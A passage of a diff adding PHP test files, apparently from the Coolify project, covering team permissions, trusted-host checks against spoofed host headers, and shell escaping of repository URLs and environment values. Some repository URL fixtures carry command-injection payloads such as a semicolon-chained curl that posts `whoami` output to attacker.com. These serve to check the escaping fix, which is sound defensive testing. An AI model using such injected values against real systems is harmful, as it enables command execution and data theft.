$this->team->members()->attach($this->member->id, ['role' => 'member']);
|
||||
});
|
||||
|
||||
describe('update permission', function () {
|
||||
test('owner can update team', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('update', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can update team', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('update', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member cannot update team', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('update', $this->team))->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-team member cannot update team', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('update', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('delete permission', function () {
|
||||
test('owner can delete team', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('delete', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can delete team', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('delete', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member cannot delete team', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('delete', $this->team))->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-team member cannot delete team', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('delete', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('manageMembers permission', function () {
|
||||
test('owner can manage members', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('manageMembers', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can manage members', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('manageMembers', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member cannot manage members', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('manageMembers', $this->team))->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-team member cannot manage members', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('manageMembers', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('viewAdmin permission', function () {
|
||||
test('owner can view admin panel', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('viewAdmin', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can view admin panel', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('viewAdmin', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member cannot view admin panel', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('viewAdmin', $this->team))->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-team member cannot view admin panel', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('viewAdmin', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('manageInvitations permission (privilege escalation fix)', function () {
|
||||
test('owner can manage invitations', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('manageInvitations', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can manage invitations', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('manageInvitations', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member cannot manage invitations (SECURITY FIX)', function () {
|
||||
// This test verifies the privilege escalation vulnerability is fixed
|
||||
// Previously, members could see and manage admin invitations
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('manageInvitations', $this->team))->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-team member cannot manage invitations', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('manageInvitations', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('view permission', function () {
|
||||
test('owner can view team', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->owner->can('view', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('admin can view team', function () {
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->admin->can('view', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('member can view team', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($this->member->can('view', $this->team))->toBeTrue();
|
||||
});
|
||||
|
||||
test('non-team member cannot view team', function () {
|
||||
$outsider = User::factory()->create();
|
||||
$this->actingAs($outsider);
|
||||
session(['currentTeam' => $this->team]);
|
||||
expect($outsider->can('view', $this->team))->toBeFalse();
|
||||
});
|
||||
});
|
||||
229
tests/Feature/TrustHostsMiddlewareTest.php
Normal file
229
tests/Feature/TrustHostsMiddlewareTest.php
Normal file
|
|
@ -0,0 +1,229 @@
|
|||
<?php
|
||||
|
||||
use App\Http\Middleware\TrustHosts;
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Clear cache before each test to ensure isolation
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
});
|
||||
|
||||
it('trusts the configured FQDN from InstanceSettings', function () {
|
||||
// Create instance settings with FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('rejects password reset request with malicious host header', function () {
|
||||
// Set up instance settings with legitimate FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host should NOT be in the trusted hosts
|
||||
expect($hosts)->not->toContain('coolify.example.com.evil.com');
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles missing FQDN gracefully', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should still return APP_URL pattern without throwing
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('filters out null and empty values from trusted hosts', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => '']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should not contain empty strings or null
|
||||
foreach ($hosts as $host) {
|
||||
if ($host !== null) {
|
||||
expect($host)->not->toBeEmpty();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('extracts host from FQDN with protocol and port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com:8443']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles exception during InstanceSettings fetch', function () {
|
||||
// Drop the instance_settings table to simulate installation
|
||||
\Schema::dropIfExists('instance_settings');
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
|
||||
// Should not throw an exception
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('trusts IP addresses with port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IP addresses without port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://192.168.1.100']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('192.168.1.100');
|
||||
});
|
||||
|
||||
it('rejects malicious host when using IP address', function () {
|
||||
// Simulate an instance using IP address
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host attempting to mimic the IP should NOT be trusted
|
||||
expect($hosts)->not->toContain('65.21.3.91.evil.com');
|
||||
expect($hosts)->not->toContain('evil.com');
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IPv6 addresses', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://[2001:db8::1]:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// IPv6 addresses are enclosed in brackets, getHost() should handle this
|
||||
expect($hosts)->toContain('[2001:db8::1]');
|
||||
});
|
||||
|
||||
it('invalidates cache when FQDN is updated', function () {
|
||||
// Set initial FQDN
|
||||
$settings = InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://old-domain.com']
|
||||
);
|
||||
|
||||
// First call should cache it
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware->hosts();
|
||||
expect($hosts1)->toContain('old-domain.com');
|
||||
|
||||
// Verify cache exists
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
|
||||
// Update FQDN - should trigger cache invalidation
|
||||
$settings->fqdn = 'https://new-domain.com';
|
||||
$settings->save();
|
||||
|
||||
// Cache should be cleared
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
|
||||
|
||||
// New call should return updated host
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
expect($hosts2)->toContain('new-domain.com');
|
||||
expect($hosts2)->not->toContain('old-domain.com');
|
||||
});
|
||||
|
||||
it('caches trusted hosts to avoid database queries on every request', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache result
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify result is cached
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
|
||||
|
||||
// Subsequent calls should use cache (no DB query)
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
expect($hosts2)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('caches negative results when no FQDN is configured', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache empty string sentinel
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
|
||||
|
||||
// Subsequent calls should use cached sentinel value
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
// Should only contain APP_URL pattern, not any FQDN
|
||||
expect($hosts2)->not->toBeEmpty();
|
||||
});
|
||||
101
tests/Unit/ApplicationGitSecurityTest.php
Normal file
101
tests/Unit/ApplicationGitSecurityTest.php
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('escapes malicious repository URLs in deploy_key type', function () {
|
||||
// Arrange: Create a malicious repository URL
|
||||
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Mock private key
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The malicious payload should be escaped and not executed
|
||||
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
|
||||
|
||||
// The command should NOT contain unescaped semicolons or backticks that could execute
|
||||
expect($command)->not->toContain('repo.git;curl');
|
||||
});
|
||||
|
||||
it('escapes malicious repository URLs in source type with public repo', function () {
|
||||
// Arrange: Create a malicious repository name
|
||||
$maliciousRepo = "user/repo';curl https://attacker.com/";
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Mock GithubApp source
|
||||
$source = Mockery::mock(GithubApp::class)->makePartial();
|
||||
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
|
||||
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
|
||||
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
|
||||
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
|
||||
$application->source = $source;
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
|
||||
expect($command)->toContain("'https://github.com/user/repo'\\''");
|
||||
});
|
||||
|
||||
it('escapes repository URLs in other deployment type', function () {
|
||||
// Arrange: Create a malicious repository URL
|
||||
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('other');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
|
||||
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
|
||||
});
|
||||
307
tests/Unit/BashEnvEscapingTest.php
Normal file
307
tests/Unit/BashEnvEscapingTest.php
Normal file
|
|
@ -0,0 +1,307 @@
|
|||
<?php
|
||||
|
||||
test('escapeBashEnvValue wraps simple values in single quotes', function () {
|
||||
$result = escapeBashEnvValue('simple_value');
|
||||
expect($result)->toBe("'simple_value'");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles special bash characters', function () {
|
||||
$specialChars = [
|
||||
'$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$',
|
||||
'#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321',
|
||||
'value with spaces and $variables',
|
||||
'value with `backticks`',
|
||||
'value with "double quotes"',
|
||||
'value|with|pipes',
|
||||
'value;with;semicolons',
|
||||
'value&with&ersands',
|
||||
'value(with)parentheses',
|
||||
'value{with}braces',
|
||||
'value[with]brackets',
|
||||
'value<with>angles',
|
||||
'value*with*asterisks',
|
||||
'value?with?questions',
|
||||
'value!with!exclamations',
|
||||
'value~with~tildes',
|
||||
'value^with^carets',
|
||||
'value%with%percents',
|
||||
'value@with@ats',
|
||||
'value#with#hashes',
|
||||
];
|
||||
|
||||
foreach ($specialChars as $value) {
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Should be wrapped in single quotes
|
||||
expect($result)->toStartWith("'");
|
||||
expect($result)->toEndWith("'");
|
||||
|
||||
// Should contain the original value (or escaped version)
|
||||
expect($result)->toContain($value);
|
||||
}
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue escapes single quotes correctly', function () {
|
||||
// Single quotes in bash single-quoted strings must be escaped as '\''
|
||||
$value = "it's a value with 'single quotes'";
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// The result should replace ' with '\''
|
||||
expect($result)->toBe("'it'\\''s a value with '\\''single quotes'\\'''");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles empty values', function () {
|
||||
$result = escapeBashEnvValue('');
|
||||
expect($result)->toBe("''");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles null values', function () {
|
||||
$result = escapeBashEnvValue(null);
|
||||
expect($result)->toBe("''");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles values with only special characters', function () {
|
||||
$value = '$#@!*&^%()[]{}|;~`?"<>';
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Should be wrapped and contain all special characters
|
||||
expect($result)->toBe("'{$value}'");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles multiline values', function () {
|
||||
$value = "line1\nline2\nline3";
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Should preserve newlines
|
||||
expect($result)->toContain("\n");
|
||||
expect($result)->toStartWith("'");
|
||||
expect($result)->toEndWith("'");
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles values from user example', function () {
|
||||
$literal = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
|
||||
$weird = '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321';
|
||||
|
||||
$escapedLiteral = escapeBashEnvValue($literal);
|
||||
$escapedWeird = escapeBashEnvValue($weird);
|
||||
|
||||
// These should be safely wrapped in single quotes
|
||||
expect($escapedLiteral)->toBe("'{$literal}'");
|
||||
expect($escapedWeird)->toBe("'{$weird}'");
|
||||
|
||||
// Test that when written to a file and sourced, they would work
|
||||
// Format: KEY=VALUE
|
||||
$envLine1 = "literal={$escapedLiteral}";
|
||||
$envLine2 = "weird={$escapedWeird}";
|
||||
|
||||
// These should be valid bash assignment statements
|
||||
expect($envLine1)->toStartWith('literal=');
|
||||
expect($envLine2)->toStartWith('weird=');
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles backslashes', function () {
|
||||
$value = 'path\\to\\file';
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Backslashes should be preserved in single quotes
|
||||
expect($result)->toBe("'{$value}'");
|
||||
expect($result)->toContain('\\');
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles dollar signs correctly', function () {
|
||||
$value = '$HOME and $PATH';
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Dollar signs should NOT be expanded in single quotes
|
||||
expect($result)->toBe("'{$value}'");
|
||||
expect($result)->toContain('$HOME');
|
||||
expect($result)->toContain('$PATH');
|
||||
});
|
||||
|
||||
test('escapeBashEnvValue handles complex combination of special characters and single quotes', function () {
|
||||
$value = "it's \$weird with 'quotes' and \$variables";
|
||||
$result = escapeBashEnvValue($value);
|
||||
|
||||
// Should escape the single quotes
|
||||
expect($result)->toContain("'\\''");
|
||||
// Should contain the dollar signs without expansion
|
||||
expect($result)->toContain('$weird');
|
||||
expect($result)->toContain('$variables');
|
||||
});
|
||||
|
||||
test('stripping quotes from real_value before escaping (literal/multiline simulation)', function () {
|
||||
// Simulate what happens with literal/multiline env vars
|
||||
// Their real_value comes back wrapped in quotes: 'value'
|
||||
$realValueWithQuotes = "'it's a value with 'quotes''";
|
||||
|
||||
// Strip outer quotes
|
||||
$stripped = trim($realValueWithQuotes, "'");
|
||||
expect($stripped)->toBe("it's a value with 'quotes");
|
||||
|
||||
// Then apply bash escaping
|
||||
$result = escapeBashEnvValue($stripped);
|
||||
|
||||
// Should properly escape the internal single quotes
|
||||
expect($result)->toContain("'\\''");
|
||||
// Should start and end with quotes
|
||||
expect($result)->toStartWith("'");
|
||||
expect($result)->toEndWith("'");
|
||||
});
|
||||
|
||||
test('handling literal env with special bash characters', function () {
|
||||
// Simulate literal/multiline env with special characters
|
||||
$realValueWithQuotes = "'#*#&412)\$&#*!%)!@&#)*~@!\&\$)@*#%^)*@#!)#@~321'";
|
||||
|
||||
// Strip outer quotes
|
||||
$stripped = trim($realValueWithQuotes, "'");
|
||||
|
||||
// Apply bash escaping
|
||||
$result = escapeBashEnvValue($stripped);
|
||||
|
||||
// Should be properly quoted for bash
|
||||
expect($result)->toStartWith("'");
|
||||
expect($result)->toEndWith("'");
|
||||
// Should contain all the special characters
|
||||
expect($result)->toContain('#*#&412)');
|
||||
expect($result)->toContain('$&#*!%');
|
||||
});
|
||||
|
||||
// ==================== Tests for escapeBashDoubleQuoted() ====================
|
||||
|
||||
test('escapeBashDoubleQuoted wraps simple values in double quotes', function () {
|
||||
$result = escapeBashDoubleQuoted('simple_value');
|
||||
expect($result)->toBe('"simple_value"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles null values', function () {
|
||||
$result = escapeBashDoubleQuoted(null);
|
||||
expect($result)->toBe('""');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles empty values', function () {
|
||||
$result = escapeBashDoubleQuoted('');
|
||||
expect($result)->toBe('""');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted preserves valid variable references', function () {
|
||||
$value = '$SOURCE_COMMIT';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Should preserve $SOURCE_COMMIT for expansion
|
||||
expect($result)->toBe('"$SOURCE_COMMIT"');
|
||||
expect($result)->toContain('$SOURCE_COMMIT');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted preserves multiple variable references', function () {
|
||||
$value = '$VAR1 and $VAR2 and $VAR_NAME_3';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// All valid variables should be preserved
|
||||
expect($result)->toBe('"$VAR1 and $VAR2 and $VAR_NAME_3"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted preserves brace expansion variables', function () {
|
||||
$value = '${SOURCE_COMMIT} and ${VAR_NAME}';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Brace variables should be preserved
|
||||
expect($result)->toBe('"${SOURCE_COMMIT} and ${VAR_NAME}"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted escapes invalid dollar patterns', function () {
|
||||
// Invalid patterns: $&, $#, $$, $*, $@, $!, etc.
|
||||
$value = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Invalid $ should be escaped
|
||||
expect($result)->toContain('\\$&#');
|
||||
expect($result)->toContain('\\$&@');
|
||||
expect($result)->toContain('\\$#@');
|
||||
// Should be wrapped in double quotes
|
||||
expect($result)->toStartWith('"');
|
||||
expect($result)->toEndWith('"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles mixed valid and invalid dollar signs', function () {
|
||||
$value = '$SOURCE_COMMIT and $&#invalid';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Valid variable preserved, invalid $ escaped
|
||||
expect($result)->toBe('"$SOURCE_COMMIT and \\$&#invalid"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted escapes double quotes', function () {
|
||||
$value = 'value with "double quotes"';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Double quotes should be escaped
|
||||
expect($result)->toBe('"value with \\"double quotes\\""');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted escapes backticks', function () {
|
||||
$value = 'value with `backticks`';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Backticks should be escaped (prevents command substitution)
|
||||
expect($result)->toBe('"value with \\`backticks\\`"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted escapes backslashes', function () {
|
||||
$value = 'path\\to\\file';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Backslashes should be escaped
|
||||
expect($result)->toBe('"path\\\\to\\\\file"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles positional parameters', function () {
|
||||
$value = 'args: $0 $1 $2 $9';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Positional parameters should be preserved
|
||||
expect($result)->toBe('"args: $0 $1 $2 $9"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles special variable $_', function () {
|
||||
$value = 'last arg: $_';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// $_ should be preserved
|
||||
expect($result)->toBe('"last arg: $_"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted handles complex real-world scenario', function () {
|
||||
// Mix of valid vars, invalid $, quotes, and special chars
|
||||
$value = '$SOURCE_COMMIT with $&#special and "quotes" and `cmd`';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Valid var preserved, invalid $ escaped, quotes/backticks escaped
|
||||
expect($result)->toBe('"$SOURCE_COMMIT with \\$&#special and \\"quotes\\" and \\`cmd\\`"');
|
||||
});
|
||||
|
||||
test('escapeBashDoubleQuoted allows expansion in bash', function () {
|
||||
// This is a logical test - the actual expansion happens in bash
|
||||
// We're verifying the format is correct
|
||||
$value = '$SOURCE_COMMIT';
|
||||
$result = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Should be: "$SOURCE_COMMIT" which bash will expand
|
||||
expect($result)->toBe('"$SOURCE_COMMIT"');
|
||||
expect($result)->not->toContain('\\$SOURCE');
|
||||
});
|
||||
|
||||
test('comparison between single and double quote escaping', function () {
|
||||
$value = '$SOURCE_COMMIT';
|
||||
|
||||
$singleQuoted = escapeBashEnvValue($value);
|
||||
$doubleQuoted = escapeBashDoubleQuoted($value);
|
||||
|
||||
// Single quotes prevent expansion
|
||||
expect($singleQuoted)->toBe("'\$SOURCE_COMMIT'");
|
||||
|
||||
// Double quotes allow expansion
|
||||
expect($doubleQuoted)->toBe('"$SOURCE_COMMIT"');
|
||||
|
||||
// They're different!
|
||||
expect($singleQuoted)->not->toBe($doubleQuoted);
|
||||
});
|
||||
79
tests/Unit/DockerComposeLabelParsingTest.php
Normal file
79
tests/Unit/DockerComposeLabelParsingTest.php
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that docker compose label parsing correctly handles
|
||||
* labels defined as YAML key-value pairs (e.g., "traefik.enable: true")
|
||||
* which get parsed as arrays instead of strings.
|
||||
*
|
||||
